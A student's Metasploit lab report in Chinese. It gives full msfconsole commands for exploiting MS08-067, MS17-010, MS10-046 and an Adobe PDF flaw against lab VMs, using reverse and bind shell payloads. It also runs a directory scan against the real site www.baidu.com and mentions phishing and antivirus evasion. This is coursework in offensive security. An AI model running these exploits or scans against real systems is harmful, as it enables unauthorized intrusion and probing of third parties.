2019-2020-4 20175121杨波《网络对抗技术》Exp6 msf基础应用
标签:msf exploit payload encode
目录
一、实践目标
1.1 实践对象
- Kali Linux
- Windows XP
- Windows 7
1.2 实践内容
- 成功主动攻击,如ms08-067
- 成功针对浏览器的攻击,如ms11-050
- 成功针对客户端的攻击,如Adobe
- 成功应用辅助模块的攻击
二、基础知识
2.1 msf模块说明
- Exploit模块
- 渗透攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- Payload模块
- 在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
- Encoder模块
- 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
- Auxiliary模块
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- Post模块
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- Nop模块
- 空字段模块
2.2 msf常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
三、实践步骤
3.1 主动攻击
- MS08-067漏洞渗透攻击实践
- MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
- 攻击机: kali 靶机: windows XP Professional(English) 下载链接 提取码:
4VAk
- 攻击者试探靶机是否存在ms08_067这个漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.196.141
-
查看到靶机的版本号,并且查看到靶机存在ms08_067这个漏洞
-
输入指令
msfconsole
进入控制台,使用指令search ms08_067
指令查询一下针对该漏洞能够运用的攻击模块
- 输入指令
use exploit/windows/smb/ms08_067_netapi
进入该攻击模块,使用show payloads
查看能够使用的攻击载荷
- 选择
shell_reverse_tcp
,输入指令set payload generic/shell_reverse_tcp
设置payload为反向tcp连接 - 显示连接需要设置的参数
show options
- 接下来部署参数即可
set RHOST 192.168.196.141 //设置靶机IP
set LPORT 5121 //设置攻击机端口
set LHOST 192.168.196.133 //设置攻击机IP
exploit
- 如图是成功回连的情况
- 可以使用
systeminfo
来查看靶机的系统信息,关于计算机及其操作系统的详细配置信息,包括操作系统配置、安全信息、产品 ID 和硬件属性,RAM、磁盘空间和网卡等。
- MS17_010漏洞渗透攻击实践
- 攻击机: kali 靶机: windows7 x64
- 使用
nmap --script=vuln 192.168.196.135
查看 win7有什么漏洞可以利用
- 使用
search ms17_010
指令查询一下针对该漏洞能够运用的攻击模块
- 输入指令
use exploit/windows/smb/ms17_010_eternalblue
进入该攻击模块,使用show payloads
查看能够使用的攻击载荷
- 选择
windows/x64/meterpreter/bind_tcp
,输入指令set payload windows/x64/meterpreter/bind_tcp
设置payload为绑定tcp连接 - 接下来部署参数
set RHOST 192.168.196.135 //设置靶机IP
set LPORT 5121 //设置攻击机端口
set LHOST 192.168.196.133 //设置攻击机IP
exploit
- 回连成功
3.2 针对浏览器的攻击
- 这里采用的是ms10_046漏洞攻击
- 首先查看浏览器漏洞:
cd/usr/share/metasploit-framework/modules/exploits/windows/browser
- 输入 ls 即可看到很多漏洞代码,选择
ms10_046_shortcut_icon_dllloader.rb
- 启动msf,输入
search ms10_046
先找相关漏洞模块
- 输入
use windows/browser/ms10_046_shortcut_icon_dllloader
,使用show payloads
查找有效攻击载荷
- 接下来设置参数
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.196.133 //设置攻击者IP
set SRVHOST 192.168.196.133 //设置服务器IP(攻击者IP)
exploit //进行攻击
- 在靶机用浏览器打开生成的链接:
http://192.168.196.133:80/
- 查看会话:
sessions
- 选取会话:
sessions -i 1
3.3 针对客户端的攻击
- 启动msf输入
search adobe
查询针对adobe攻击模块
- 使用
use windows/fileformat/adobe_cooltype_sing
设置模块 - 输入
show payloads
查找有效攻击载荷
- 使用
set payload windows/meterpreter/bind_tcp
设置payloads - 根据options设置相关参数
set RHOST 192.168.196.141 //靶机ip
set LPORT 5121 //攻击端口
exploit //生成pdf
- 使用指令将文件复制到可以复制的文件夹下(当前账户进不去root文件夹)
cp /root/.msf4/local/msf.pdf /home/kali/20175121yb
- 将生成的msf.pdf 复制到Windows XP中,
back
退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
set RHOST 192.168.196.141 //靶机IP
set LPORT 5121 //攻击端口
exploit
- 由于我安装的XP虚拟机没有adobe reader,所以得去下载,下载的版本为9.0
- 在xp上打开文件
- 回连成功
3.4 成功应用任何一个辅助模块
- server_info(唯一)
- 输入
show auxiliary
查看所有的辅助模块
- 选择
scanner/steam/server_info
,输入info scanner/steam/server_info
查看模块信息,请求从服务器获取信息,扫描范围默认为10(从起始地址开始往后扫10个),端口固定为UDP端口27015。端口27015只是用作输入/输出的通信端口。
- 输入
use scanner/steam/server_info
使用漏洞 - 输入
set RHOSTS 192.168.196.140
为起始IP - 输入
exploit
开始攻击
- 然鹅这个网段里木有服务器
- 使用 dir_scanner 搜索网站目录
- 输入
use auxiliary/scanner/http/dir_scanner
设置模块 - 设置参数
set THREADS 50
set RHOSTS www.baidu.com
exploit
-
dir_scanner 模块发现了百度网站目录的 cache http 状态码200 ,表示请求成功
-
端口扫描模块
-
具体有以下几种扫描方式:
auxiliary/scanner/portscan/ack
:通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测auxiliary/scanner/portscan/ftpbounce
:通过FTP bounce攻击的原理对TCP服务进行枚举,在一些旧的Solaris及FreeBSD系统的FTP服务中此类攻击方式仍能被利用。auxiliary/scanner/portscan/syn
:使用发送TCP SYN标志的方式探测开放的端口auxiliary/scanner/portscan/tcp
:通过一次完整的TCP连接来判断端口是否开放auxiliary/scanner/portscan/xmas
:通过发送FIN、PSH、URG标志,相对而言较为隐蔽。
-
试试 tcp 扫描,通过一次完整的TCP连接来判断端口是否开放
-
输入
use auxiliary/scanner/portscan/tcp
设置模块 -
设置参数
set RHOSTS 192.168.196.141 //靶机IP
set THREADS 50
exploit
四、实验总结与体会
4.1 基础问题回答
- 用自己的话解释什么是exploit,payload,encode
- exploit:漏洞攻击,一个exploit程序肯定会触发系统的一个或多个漏洞,进而程序直接获取到目标系统的部分或所有权限。
- payload:有效载荷,是攻击者在目标系统上执行的一段攻击代码,具有反弹连接、创建用户、执行其他系统命令的功能,搞破坏的关键代码。
- encode:对载荷进行包装加壳,改变其特征码,保证payload不出现特定字符,避免被查杀。
4.2 实验感受
通过本次实验,我了解了msf的各种具体应用,体会到了其强大的功能。在实验过程中遇到了各种各样的问题,最痛苦的就是明明和大家做的一样,但是我的就是无法攻击成功。通过实验掌握了msf的简单操作,始终牢记不懂就help,不知道是干什么的就info。虽然遇到了各种困难,但是最终都一一解决了,经过这次实验,我的姿势水平又有了一点小小的提升,虽然遇到困难让人抓狂很通过,但是完成之后感到收获的时候还是蛮有成就感的。
4.3 离实战还缺些什么技术或步骤?
如果要考虑实战,我认为首先要想办法如何连接目标机器或将后门程序植入目标机器,不然再大的漏洞我们也利用不了,可以通过社会工程学了解对方用户的个人喜好,发送钓鱼邮件。我们还需要了解目标主机是什么版本的系统,是否打了哪些补丁,是否有adobe这些软件等。除此之外,我的免杀技术还不行,现在还不能很好地实现真正意义上的免杀;还有就是我制作的后门程序都很简单,,一般人看都看出来是不正经软件了。
【推荐】还在用 ECharts 开发大屏?试试这款永久免费的开源 BI 工具!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 软件产品开发中常见的10个问题及处理方法
· .NET 原生驾驭 AI 新基建实战系列:向量数据库的应用与畅想
· 从问题排查到源码分析:ActiveMQ消费端频繁日志刷屏的秘密
· 一次Java后端服务间歇性响应慢的问题排查记录
· dotnet 源代码生成器分析器入门
· ThreeJs-16智慧城市项目(重磅以及未来发展ai)
· .NET 原生驾驭 AI 新基建实战系列(一):向量数据库的应用与畅想
· Ai满嘴顺口溜,想考研?浪费我几个小时
· Browser-use 详细介绍&使用文档
· 软件产品开发中常见的10个问题及处理方法